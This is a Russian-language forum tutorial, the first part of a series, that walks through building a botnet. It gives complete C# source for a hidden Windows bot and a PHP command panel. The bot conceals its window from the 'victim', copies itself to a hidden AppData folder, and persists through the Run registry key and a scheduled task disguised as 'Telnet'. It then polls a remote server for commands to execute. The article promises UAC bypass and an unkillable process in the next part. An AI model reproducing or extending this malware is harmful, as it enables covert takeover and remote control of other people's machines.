Вы находитесь на странице: 1из 24

Содержание статьи:

1. Вступление
2. Установка необходимого программного обеспечения
3. Создание нового проекта и добавление необходимых компонентов
4. Написание базовых методов
4.1 Запись бота в автозагрузку и планировщик задач​
4.2 Получение команды от сервера​
4.2.1 Простая веб-панель​
4.2.2 Получение и обработка нескольких команд​
5. Заключение

1. Вступление
Добрый день, уважаемые форумчане. Сегодня мы попробуем написать один самых
популярных видов темных сетей - ​ботнет​. В нашем случае, ботнетом я назову
зомби-сеть​, где у нас под управлением есть некоторое количество машин, готовых
сделать для нас практически все.

На хакерских форумах, особенно в ТОР продаются готовые ботнеты, которые можно


купить не так уж и дорого (от 2-3 килорублей). Но, в таком случае, мы не можем быть
уверены в конфиденциальности и приватности купленной технологии. Например, в
него может быть встроенный кейлогер, или вторая схема управления, которая "уведет"
твой бот.

Толи дело написать код ботнета самому. Это и для практики программирования
полезно (мозгом надо пользоваться, чтоб он не атрофировался), да и своя рубашка,
как говорится, ближе к телу.

Сам ботнет, как и полагается, будет состоять из серверной и клиентской части.


Правда, в данном примере серверная часть - это та, которая будет установлена у
пользователя на компьютере, а клиентская - это наш WEB-интерфейс, который и
будет отправлять команды на выполнение. Немного перепутано, но в процессе
написания и доработки до готового "под ключ" ботнета, этот недочет встанет на круги
своя.

Серверную часть будем писать на ЯП ​C#​. ​Правда, тут есть один минус - вся эта
богодельня зависит от ​.NET Framework​. Но переживать по этому поводу я бы не стал,
так как у большинства пользователей он уже установлен. Клиент у нас будет на PHP.

Сегодня мы попробуем достичь следующих целей:

1. Написать функцию, которая будет получать ответ от сервера и вытаскивать из


нее команду.
2. Написать функцию, которая будет записывать нашего бота в ​автозагрузку​ и
Scheduler ​(Планировщик задач).
3. Написать веб-панель на HTML+PHP, который будет отправлять команду
жертве.
4. Реализовать обработку нескольких простых команды Send Message, Open CD,
Close CD.

В данной статье я постараюсь объяснить, как вы уже поняли, написание "скелета"


нашего ботнета, а для этого достаточно будет хранить команды в обычном файле. В
следующей же части ​будем насаживать на скелет мясо​ попытаемся подружиться с бд
(база данных) и сделать все действия этой без лишних файлов. Также, попробуем
сделать статистику пользователей, которая будет хранить как системную информацию
о машине, так и географические данные. Ну и напоследок, заставим бота показывать
статус (online, offline) и обрабатывать еще больше команд. Как говорится, дальше -
больше.

2. Установка необходимого программного
обеспечения

Для дальнейшей работы, нам понадобится несколько программ:

1. Microsoft Visual Studio 2017 Community - среда разработки программного


обеспечение, на таких языках программирования как, C#, C++. Почему версия
2017 года? Да потому, что он отлично справляется со своей задачей на средних
машинах. Моя виртуальная машина, как раз из таких.​ ​Скачать
2. Sublime Text 3 - популярный текстовый редактор. Я использую его, как редактор
файлов типа PHP, HTML и т.п, так как он очень удобен в этом плане. Скачать
(​x64​ |​ ​x32​). Но это уже личное предпочтение, если ты супер гик, можешь писать
и в nano
3. Нам нужен сервер, где и будет располагаться наш контроллер (он же клиент),
т.е веб-панель. Если же его нет, для тестового использования, можно
воспользоваться локальной машиной.

1.

3. Создание нового проекта и добавление


необходимых компонентов

Итак, приступим.
Открываем ​Visual Studio​,​ создаем новый проект ​Windows Forms ​и называем его
Simple Botnet​.

Рисунок 1. Создание нового проекта

Нажимаем на форму, справа находим вкладку ​Свойства ​и устанавливаем значения


соответствующие этим:

Код:

Text: пусто,
WindowsState: Minimized,
ControlBox: false,
MaximizeBox: false,
MinimizeBox: false,
ShowIcon: false,
ShowInTaskBar: false,
Opacity: 0%.
Данные действия нужны для того, чтобы наша форма не была видна жертве. Далее
кидаем компонент ​Timer ​из панель элементов на форму.

Рисунок 2. Ищем компонент Timer в Панели элементов

Устанавливаем значение ему в Свойствах:

Код:

Enabled:false,
Interva: 3000

Таймер нам нужен для того, чтобы каждый раз, через определенное время вызывать
функцию, которая будет получать команду от сервера, для ее обработки и выполнения
на машине жертвы. В данный момент таймер не активен, он будет "включен" дальше,
после выполнения предварительной подготовки.

4. Написание базовых методов



Теперь, двойным кликом на форму открываем редактор кода.

Устанавливаем несколько переменных типа string и пишем код, который скроет форму

C#:

public static string hpath ;


public static string url = "http://site.ru/index.php"; // Адрес нашего сайта
private void Form1_Load(object sender, EventArgs e)
{
this.TopMost = true;
this.ShowInTaskbar = false;
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
WindowState = FormWindowState.Minimized;
hpath = Environment.GetEnvironmentVariable("APPDATA") + @"\goodsmile\";
CheckEx();
}

В переменной hpath мы указываем путь папке, которая будет храниться в


AppData\Roaming\goodsmile. Она нам понадобится в дальнейшем. Наличие этой папки
будет проверять функция CheckEx. Так же, в случае отсутствия такого пути, она
создаст необходимые папки и сделает последнюю скрытой.

4.1 Запись бота в автозагрузку и планировщик задач



Далее подключаем нескольких необходимых библиотек.

Код:

using System.IO; // для работы с файлами и папками


using System.Diagnostics; // для взаимодействия с системными процессами
C#:

public void CheckEx()


{
if (!Directory.Exists(hpath))
{
DirectoryInfo mydir;
mydir = Directory.CreateDirectory(hpath + @"\goodsmile");
mydir.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
Directory.CreateDirectory(hpath + @"\goodsmile"); // Создаем папку goodsmile и
делаем его скрытым
mydir.Refresh();
}
// Если нету папки, создаем
if (!File.Exists(hpath + @"\bot.exe"))
{
File.Copy(Application.ExecutablePath, hpath + @"\bot.exe"); // Если нету бота,
копируем и запускаем его оттуда
Process.Start(hpath+@"\bot.exe"); // Запускаем бота из родной папки
Environment.Exit(0); // Завершаем текущий процесс
}
}

И займемся записью бота в ​автозагрузку ​и ​шедулер​. Подключаем библиотеку для


управления реестром

Код:

using Microsoft.Win32;

Далее нам нужно скачать библиотеку для управления планировщиком задач.


Открываем Средства > Диспетчер пакетов NuGet > Консоль диспетчера пакетов и
пишем

Код:

Install-Package TaskScheduler

После этого установится сторонняя библиотеки для работы с планировщиком задач.


Еще нам нужно внедрить библиотеку в наш исполняемый файл, чтоб не таскать его
везде. В Обозревателе решений нажимаем на Ссылки и выбираем
Microsoft.Win32.TaskScheduler ->​ откроется окно свойств библиотеки, где мы должны
установить значение:

Код:

Копировать локально: False

После этих действий, нам нужно добавить в проект сам ​.dll​ файл. Для этого, в
обозревателе решений, кликаем правой кнопкой мыши на наш проект -> Добавить ->
Существующий элемент

Рисунок 3. Открываем окошко для добавления библиотеки в проект

И выбираем ​Microsoft.Win32.TaskScheduler.dll​ из папки наш


проект\packages\TaskScheduler\lib\40\(по крайнер мере, у меня было так)

Рисунок 4. Добавляем библиотеку в проект


И жмем добавить. В Обозревателе решений появится этот файл с полным названием.
Открываем его свойства, и устанавливаем значение

Код:

Действие при сборе: Внедренный ресурс

Далее нам нужно написать функцию, которая будет вызывать встроенные библиотеки.
Подключаем еще одну библиотеку

Код:

using using System.Reflection;

C#:

public static class Resolver


{
private static volatile bool _loaded;
public static void RegisterDependencyResolver()
{
try
{
if (!_loaded)
{
AppDomain.CurrentDomain.AssemblyResolve += OnResolve;
_loaded = true;
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}

private static Assembly OnResolve(object sender, ResolveEventArgs args)


{

Assembly execAssembly = Assembly.GetExecutingAssembly();


string resourceName = String.Format("{0}.{1}.dll",
execAssembly.GetName().Name,
new AssemblyName(args.Name).Name);

using (var stream = execAssembly.GetManifestResourceStream(resourceName))


{
int read = 0, toRead = (int)stream.Length;
byte[] data = new byte[toRead];

do
{
int n = stream.Read(data, read, data.Length - read);
toRead -= n;
read += n;
} while (toRead > 0);

return Assembly.Load(data);
}
}

И добавляем в начало функции Form1_Load следующую строчку

Код:
Resolver.RegisterDependencyResolver();

Он вызывает метод, для работы со встроенными библиотеками, в нашем случае это


TaskScheduler​.
Теперь напишем функции для записи бота в ​автозагрузку ​и ​шедулер

Код:

public static bool SetAutorunValue(bool autorun)


{
RegistryKey key =
Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\")
;

try
{
if (autorun)
{
key.SetValue("Simple botnet", path);
}
else
key.DeleteValue("Simple botnet", false);

key.Close();
}
catch
{
return false;
}
return true;
}

public static void WriteScheduler(bool can)


{
try
{
using (TaskService ts = new TaskService())
{
if (can)
{
TaskDefinition td = ts.NewTask();
td.RegistrationInfo.Description = "Включить авто-запуск для службы
Telnet."; // Заголовок задачи в шедулере
TimeTrigger trigger = new TimeTrigger(); // Создаев новый триггер времени
trigger.StartBoundary = DateTime.Now; // Указываем нынешнюю дату
trigger.Repetition.Interval = TimeSpan.FromMinutes(30); // Интервал, через
которое будет запуске бота. В нашем случае - через каждые 30 минут.
td.Triggers.Add(trigger); // Добавляем ранее созданный триггер времени в
шедулер
td.Actions.Add(new ExecAction("pcalua.exe", " -a " + path, null)); //
Указываем путь до нашего бота. В качестве лаунчера, будем юзать pcalua.exe
ts.RootFolder.RegisterTaskDefinition(@"Telnet", td); // Название задачи в
шедулере
}
if (!can)
{
TaskDefinition td = ts.NewTask();
ts.RootFolder.DeleteTask("Telnet");
}
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
}

и будем вызывать их так

C#:

public static void SystemWrite(bool can)


{
if (can)
{
SetAutorunValue(true);
WriteScheduler(true);
}
if (!can)
{
SetAutorunValue(false);
WriteScheduler(false);
}
}
В функцию ​CheckEx​ в конец добавим строчку для вызова метода ​SystemWrite

Код:

SystemWrite(true);

Эта строчка будет отвечать за запись бота в ​автозагрузку ​и ​шедулер​. Половину пути
мы прошли. Теперь напишем функцию, которая будет получать команду от сервера.

4.2 Получение команды от сервера


Для работы с сетью, подключаем библиотеку ​System.Net

C#:

using System.Net;

C#:

public void GetCommand()


{
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url+"?getcmd");
HttpWebResponse response = (HttpWebResponse)req.GetResponse();
string cmd = new StreamReader(response.GetResponseStream()).ReadToEnd();
Console.WriteLine(cmd); // Выводим в консоль команду
}

Теперь нам нужно снова зайти на форму, дважды нажать на таймер и написать
строчку для вызова метода получения команды.

C#:

private void timer1_Tick(object sender, EventArgs e)


{
GetCommand();
}

Как я уже говорил, таймер у нас отключен. Пришло время его активировать, и для
этого переходим к функции CheckEx и добавляем следующую строчку

timer1.enabled = true;

После чего таймер включится, и мы будем получать команду.

4.2.1 Простая веб-панель


Настало время написать клиент.
Изначально, для теста, сделаем на нашем сервере файл index.php с содержимым

PHP:

<?php
echo 'q';
?>

При обращении к этому файлу, он должен возвращать букву q. Заливаем его на наш
сервер и в переменной url изменяем значение на свой адрес сайта с полным путем
файла index.php.
Запускаем, иии...

Рисунок 5. Получение и вывод команды в консоль

Ура. Наш код работает. Каждые 3 секунды, в консоль выводится команда, которую мы
указали в файле index.php (echo 'q').
Далее попробуем сделать контроллер, который будут отвечать за запись полученной
команды в файл.

Контроллер (​HTML+PHP​) сделаем в одном файле и назовем его index.php.

Копипастим следующее содержимое в файл index.php, заливаем его на сервер и даем


права ​777

PHP:

<?php
if (isset($_POST['cmd']))
{
$cmd = $_POST['cmd'];
if ($cmd == "q" && $_POST['message'] != "") // если команда=команда для вывода
сообщения, то получаем и записываем сообщение в файл
{
$message = $_POST['message'];
$fd = fopen("message.txt", 'w') or die("не удалось создать файл"); // Открываем файл для
записи сообщения
fwrite($fd, $message); // Записываем сообщение
fclose($fd); // Закрываем файл
}
$fd = fopen("command.txt", 'w') or die("не удалось создать файл"); // Открываем
основной файл для записи команд
fwrite($fd, $cmd); // Записываем команду в файл
fclose($fd); // Закрываем
}
else
if (isset($_GET['getcmd'])) // Если отправлен GET запрос с переменной getcmd, в
качестве ответа вернуть содержимое command.txt(файл с командой) на экран
{
$fd = fopen("command.txt", 'r') or die("не удалось открыть файл");
while(!feof($fd))
{
$str = htmlentities(fgets($fd));
echo $str;
}
fclose($fd);
$fd = fopen("command.txt", 'w') or die("не удалось создать файл");
fwrite($fd, "null");
fclose($fd);
}
else
if (isset($_GET['getmessage']))
{
$fd = fopen("message.txt", 'r') or die("не удалось открыть файл");
while(!feof($fd))
{
$str = htmlentities(fgets($fd));
echo $str;
}
fclose($fd);
}
else
{
?>
<!DOCTYPE html>
<html>
<head>
<title>Web Controller</title>
<meta charset="UTF-8">
</head>
<body style="background-color:#212020">
<div style="display: table; margin: 0 auto; text-align: center;">
<form align="center" method="POST">
<select name="cmd" align="center">
<option value="q">Send Message</option>
<option value="w">Open CD</option>
<option value="t">Close CD</option>
</select>
<p><input type="text" placeholder="Hello World!" name="message"></p>
<p><input type=submit value="Send"></p>
</form></div>
</body>
<?
}
?>
?>

В результате получаем простую веб-панель. В будущем сделаем ему красивый


дизайн.

Рисунок 6. Обзор веб-панели



4.2.2 Получение и обработка нескольких команд

Теперь будем доделывать серверную часть. Для начала обновляем список
подключенных библиотек

C#:

using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
using Microsoft.Win32.TaskScheduler;
using System.Reflection;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

После public partial class Form1 : Form { добавляем метод для работы с ​CD-приводом

C#:
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
protected static extern int mciSendString(string mciCommand, StringBuilder
returnValue, int returnLength, IntPtr callback);

Теперь переходим к методу GetCommand, убираем Console.WriteLine(cmd); и


добавляем следующее:

C#:

switch (cmd)
{
case "q":
HttpWebRequest msg =
(HttpWebRequest)WebRequest.Create(url+"?getmessage"); // Создаем http запрос
HttpWebResponse msgres = (HttpWebResponse)msg.GetResponse(); //
получаем ответ от сервера
string message = new
StreamReader(msgres.GetResponseStream()).ReadToEnd(); // читаем ответ и
присваиваем его значение переменной message
MessageBox.Show(message); // Вывести сообщение
break;
case "w":
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); // Открыть CD
break;
case "e":
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero); // Закрыть CD
break;
case "null":
Console.WriteLine("No task!");
break;
}

Запускаем наш проект, видим, что сервер команд не вернул.

Рисунок 7. Анализируем консоль


Открываем нашу веб-панель и, для примера, отправляем команду для отображения
сообщения.

Рисунок 8. Отправляем команду через веб-панель

Нажимаем ​Send

Рисунок 9. Результат получения и обработки команды

Вауля! Наш ​ботнет ​работает отлично.


Для тех, кто затрудняется собрать код по частям, я приведу весь код

Код:

using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
using Microsoft.Win32.TaskScheduler;
using System.Reflection;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Simple_Botnet
{
public partial class Form1 : Form
{
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
protected static extern int mciSendString(string mciCommand, StringBuilder
returnValue, int returnLength, IntPtr callback);
public Form1()
{
InitializeComponent();
}
public static string hpath;
public static string path = Application.ExecutablePath;
public static string url = "http://site.ru/Test/index.php";
private void Form1_Load(object sender, EventArgs e)
{
Resolver.RegisterDependencyResolver();
this.TopMost = true;

this.ShowInTaskbar = false;

this.ShowIcon = false;

this.ShowInTaskbar = false;
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;

WindowState = FormWindowState.Minimized;
hpath = Environment.GetEnvironmentVariable("APPDATA") + @"\goodsmile";
CheckEx();
}
public void CheckEx()
{
if (!Directory.Exists(hpath))
{
DirectoryInfo mydir;
mydir = Directory.CreateDirectory(hpath + @"\goodsmile");
mydir.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
Directory.CreateDirectory(hpath + @"\goodsmile");
mydir.Refresh();
}
// Если нету папки, создаем
if (!File.Exists(hpath + @"\bot.exe"))
{
File.Copy(Application.ExecutablePath, hpath + @"\bot.exe"); // Если нету бота,
копируем и запускаем его оттуда
Process.Start(hpath + @"\bot.exe");
Environment.Exit(0);
}
SystemWrite(true);
timer1.Enabled = true;
}

public void GetCommand()


{
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url+"?getcmd");
HttpWebResponse response = (HttpWebResponse)req.GetResponse();
string cmd = new StreamReader(response.GetResponseStream()).ReadToEnd();
switch (cmd)
{
case "q":
HttpWebRequest msg =
(HttpWebRequest)WebRequest.Create(url+"?getmessage");
HttpWebResponse msgres = (HttpWebResponse)msg.GetResponse();
string message = new
StreamReader(msgres.GetResponseStream()).ReadToEnd();
MessageBox.Show(message); // Вывести сообщение
break;
case "w":
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); // Открыть CD
break;
case "e":
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero); // Закрыть CD
break;
case "null":
Console.WriteLine("No task!");
break;
}
}
public void SystemWrite(bool can)
{
if (can)
{
SetAutorunValue(true);
WriteScheduler(true);
}
if (!can)
{
SetAutorunValue(false);
WriteScheduler(false);
}

}
public static bool SetAutorunValue(bool autorun)
{
RegistryKey key =
Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\")
;

try
{
if (autorun)
{
key.SetValue("Simple botnet", path);
}
else
key.DeleteValue("Simple botnet", false);

key.Close();
}
catch
{
return false;
}
return true;
}

public static void WriteScheduler(bool can)


{
try
{
using (TaskService ts = new TaskService())
{
if (can)
{
TaskDefinition td = ts.NewTask();
td.RegistrationInfo.Description = "Включить авто-запуск для службы
Telnet.";

TimeTrigger trigger = new TimeTrigger();


trigger.StartBoundary = DateTime.Now;
trigger.Repetition.Interval = TimeSpan.FromMinutes(30);
td.Triggers.Add(trigger);
td.Actions.Add(new ExecAction("pcalua.exe", " -a " + path, null));
ts.RootFolder.RegisterTaskDefinition(@"Telnet", td);
}
if (!can)
{
TaskDefinition td = ts.NewTask();
ts.RootFolder.DeleteTask("Telnet");
}
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}

private void timer1_Tick(object sender, EventArgs e)


{
GetCommand();
}
}
public static class Resolver
{
private static volatile bool _loaded;

public static void RegisterDependencyResolver()


{
try
{
if (!_loaded)
{
AppDomain.CurrentDomain.AssemblyResolve += OnResolve;
_loaded = true;
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}

private static Assembly OnResolve(object sender, ResolveEventArgs args)


{

Assembly execAssembly = Assembly.GetExecutingAssembly();


string resourceName = String.Format("{0}.{1}.dll",
execAssembly.GetName().Name,
new AssemblyName(args.Name).Name);

using (var stream = execAssembly.GetManifestResourceStream(resourceName))


{
int read = 0, toRead = (int)stream.Length;
byte[] data = new byte[toRead];

do
{
int n = stream.Read(data, read, data.Length - read);
toRead -= n;
read += n;
} while (toRead > 0);

return Assembly.Load(data);
}
}
}
}

5. Заключение
На этом первая часть этой статьи закончена. В итоге получаем 2 файла: бот
(исполняемый файл ботнета) и index.php (веб-панель). Благодарю всех читателей
данной статьи. Важные термины, названия, а также пути, я выделил разными цветами.
Во второй части попробуем сделать процесс нашего бота не убиваемым для простого
юзера, добавим команду для самозавершения процесса, напишем метод для обхода
UAC и улучшим нашу веб-панель.

P.S​ ​Ссылка​ ​на исходник с веб-панелью + проект .